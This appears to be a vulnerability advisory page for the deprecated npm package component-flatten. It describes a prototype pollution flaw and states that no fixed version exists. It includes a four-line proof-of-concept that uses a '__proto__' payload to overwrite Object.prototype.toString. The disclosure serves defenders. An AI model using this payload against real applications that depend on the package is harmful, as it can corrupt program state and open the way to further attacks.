component-flatten@0.0.0 vulnerabilities

flatten a resolved component tree

Direct Vulnerabilities

Known vulnerabilities in the component-flatten package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

component-flatten is a module that flattens a resolved component tree.

Note: This package is deprecated.

Affected versions of this package are vulnerable to Prototype Pollution. The a function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

PoC by JHU System Security Lab

var a = require("component-flatten");
var tree = {ref:"toString",name:"__proto__"};
a(tree);
console.log({}.toString);

How to fix Prototype Pollution?

There is no fixed version for component-flatten.

*